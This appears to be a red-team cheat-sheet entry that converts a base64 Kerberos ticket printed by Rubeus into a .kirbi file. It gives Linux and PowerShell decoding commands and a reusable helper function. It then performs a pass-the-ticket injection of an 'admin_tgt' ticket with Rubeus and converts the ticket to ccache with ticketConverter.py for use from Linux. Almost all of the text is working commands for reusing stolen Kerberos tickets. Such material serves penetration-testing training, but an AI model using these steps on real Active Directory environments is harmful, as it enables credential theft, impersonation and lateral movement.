Base64 to KIRBI

Rubeus commonly prints tickets as base64. We decode that blob into a .kirbi file when we want to inject it from disk, convert it to ccache, or move it between hosts cleanly.

Decode on Linux:

cat ticket.b64 | tr -d '\n\r ' | base64 -d > ticket.kirbi
file ticket.kirbi

Decode on Windows with PowerShell:

$ticket = 'doIFo...snip...kNPTQ=='
[IO.File]::WriteAllBytes("$env:USERPROFILE\Desktop\ticket.kirbi", [Convert]::FromBase64String($ticket))

Reusable PowerShell helper:

function Convert-Base64TicketToKirbi {
    param(
        [Parameter(Mandatory=$true)]
        [string]$Name,

        [Parameter(Mandatory=$true)]
        [string]$Base64
    )

    if (-not $Name.EndsWith('.kirbi')) {
        $Name = "$Name.kirbi"
    }

    $Path = Join-Path $PWD $Name
    [IO.File]::WriteAllBytes($Path, [Convert]::FromBase64String($Base64))
    $Path
}

Use the helper:

Convert-Base64TicketToKirbi -Name admin_tgt -Base64 'doIFo...snip...kNPTQ=='

Inject with Rubeus:

.\Rubeus.exe ptt /ticket:admin_tgt.kirbi
klist

Convert the decoded .kirbi to Linux ccache:

ticketConverter.py admin_tgt.kirbi admin_tgt.ccache
export KRB5CCNAME=FILE:$(pwd)/admin_tgt.ccache
klist